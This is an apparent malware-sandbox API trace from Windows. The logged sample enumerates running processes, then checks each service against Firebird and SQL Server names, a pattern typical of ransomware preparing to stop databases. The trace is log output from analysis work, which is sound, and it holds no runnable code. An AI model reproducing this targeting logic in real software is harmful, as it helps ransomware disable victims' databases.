lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0050.646] lstrlenW (lpString="scored-prices.exe") returned 17 [0050.646] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0050.647] lstrlenW (lpString="understood.exe") returned 14 [0050.647] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0050.647] lstrlenW (lpString="lee.exe") returned 7 [0050.647] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0050.648] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0050.648] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0050.649] lstrlenW (lpString="romandisclosure.exe") returned 19 [0050.649] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0050.650] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0050.650] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0050.651] lstrlenW (lpString="dllhost.exe") returned 11 [0050.651] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0050.652] lstrlenW (lpString="product.exe") returned 11 [0050.652] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0050.652] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0050.652] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0050.653] lstrlenW (lpString="basin.exe") returned 9 [0050.653] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0050.654] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0050.654] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0050.655] lstrlenW (lpString="tested housewives.exe") returned 21 [0050.655] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.656] lstrlenW (lpString="conhost.exe") returned 11 [0050.656] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.657] lstrlenW (lpString="conhost.exe") returned 11 [0050.657] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.657] lstrlenW (lpString="svchost.exe") returned 11 [0050.657] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0050.658] lstrlenW (lpString="wmxsde.exe") returned 10 [0050.658] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0050.659] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0050.659] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.660] lstrlenW (lpString="conhost.exe") returned 11 [0050.660] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.660] lstrlenW (lpString="cmd.exe") returned 7 [0050.661] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.661] lstrlenW (lpString="conhost.exe") returned 11 [0050.661] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0050.662] CloseHandle (hObject=0x2e8) returned 1 [0050.662] Sleep (dwMilliseconds=0x1f4) [0052.094] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6deed0 [0052.095] EnumServicesStatusExW (in: hSCManager=0x6deed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0052.095] GetLastError () returned 0xea [0052.095] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1cd6) returned 0x791d58 [0052.095] EnumServicesStatusExW (in: hSCManager=0x6deed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x791d58, cbBufSize=0x1cd6, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x791d58, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0052.096] CloseServiceHandle (hSCObject=0x6deed0) returned 1 [0052.097] lstrlenW (lpString="Appinfo") returned 7 [0052.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0052.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0052.097] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0052.097] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0052.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0052.097] lstrlenW (lpString="AppXSvc") returned 7 [0052.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0052.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0052.097] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0052.097] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0052.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0052.097] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0052.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.097] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0052.097] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0052.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0052.097] lstrlenW (lpString="Audiosrv") returned 8 [0052.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0052.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0052.097] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0052.097] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0052.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0052.097] lstrlenW (lpString="BFE") returned 3 [0052.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0052.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0052.097] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0052.097] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0052.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0052.097] lstrlenW (lpString="BITS") returned 4 [0052.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0052.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0052.098] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0052.098] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0052.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0052.098] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0052.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0052.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0052.098] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0052.098] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0052.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0052.098] lstrlenW (lpString="CDPSvc") returned 6 [0052.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0052.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0052.098] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0052.098] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0052.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0052.098] lstrlenW (lpString="ClickToRunSvc") returned 13 [0052.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0052.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0052.098] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0052.098] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0052.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0052.098] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0052.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0052.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0052.098] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0052.098] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0052.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0052.099] lstrlenW (lpString="CryptSvc") returned 8 [0052.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0052.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0052.099] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0052.099] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0052.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0052.099] lstrlenW (lpString="DcomLaunch") returned 10 [0052.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.099] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0052.099] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0052.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0052.099] lstrlenW (lpString="DeviceAssociationService") returned 24 [0052.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0052.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0052.099] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0052.099] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0052.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0052.099] lstrlenW (lpString="Dhcp") returned 4 [0052.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0052.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0052.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0052.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0052.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0052.099] lstrlenW (lpString="Dnscache") returned 8 [0052.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0052.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0052.099] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0052.099] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0052.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0052.099] lstrlenW (lpString="DoSvc") returned 5 [0052.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0052.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0052.100] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0052.100] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0052.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0052.100] lstrlenW (lpString="DPS") returned 3 [0052.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0052.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0052.100] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0052.100] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0052.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0052.100] lstrlenW (lpString="DusmSvc") returned 7 [0052.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0052.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0052.100] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0052.100] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0052.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0052.100] lstrlenW (lpString="EventLog") returned 8 [0052.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0052.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0052.100] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0052.100] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0052.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0052.100] lstrlenW (lpString="EventSystem") returned 11 [0052.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0052.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0052.100] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0052.100] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0052.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0052.100] lstrlenW (lpString="FontCache") returned 9 [0052.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0052.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0052.100] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0052.100] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0052.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0052.101] lstrlenW (lpString="gpsvc") returned 5 [0052.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0052.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0052.101] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0052.101] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0052.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0052.101] lstrlenW (lpString="iphlpsvc") returned 8 [0052.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.101] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0052.101] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0052.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0052.101] lstrlenW (lpString="KeyIso") returned 6 [0052.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0052.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0052.101] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0052.101] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0052.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0052.101] lstrlenW (lpString="LanmanServer") returned 12 [0052.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0052.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0052.101] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0052.101] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0052.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0052.101] lstrlenW (lpString="LanmanWorkstation") returned 17 [0052.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.101] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0052.101] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0052.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0052.101] lstrlenW (lpString="lfsvc") returned 5 [0052.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0052.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0052.102] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0052.102] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0052.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0052.102] lstrlenW (lpString="lmhosts") returned 7 [0052.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0052.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0052.102] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0052.102] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0052.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0052.102] lstrlenW (lpString="LSM") returned 3 [0052.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0052.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0052.102] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0052.102] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0052.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0052.102] lstrlenW (lpString="MpsSvc") returned 6 [0052.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0052.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0052.102] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0052.102] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0052.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0052.102] lstrlenW (lpString="NcbService") returned 10 [0052.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0052.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0052.102] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0052.102] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0052.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0052.102] lstrlenW (lpString="netprofm") returned 8 [0052.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0052.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0052.102] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0052.102] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0052.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0052.102] lstrlenW (lpString="NgcSvc") returned 6 [0052.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0052.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0052.103] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0052.103] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0052.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0052.103] lstrlenW (lpString="NlaSvc") returned 6 [0052.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0052.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0052.103] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0052.103] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0052.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0052.103] lstrlenW (lpString="nsi") returned 3 [0052.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0052.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0052.103] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0052.103] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0052.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0052.103] lstrlenW (lpString="PcaSvc") returned 6 [0052.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0052.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0052.103] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0052.103] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0052.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0052.103] lstrlenW (lpString="PlugPlay") returned 8 [0052.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0052.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0052.103] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0052.103] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0052.103] 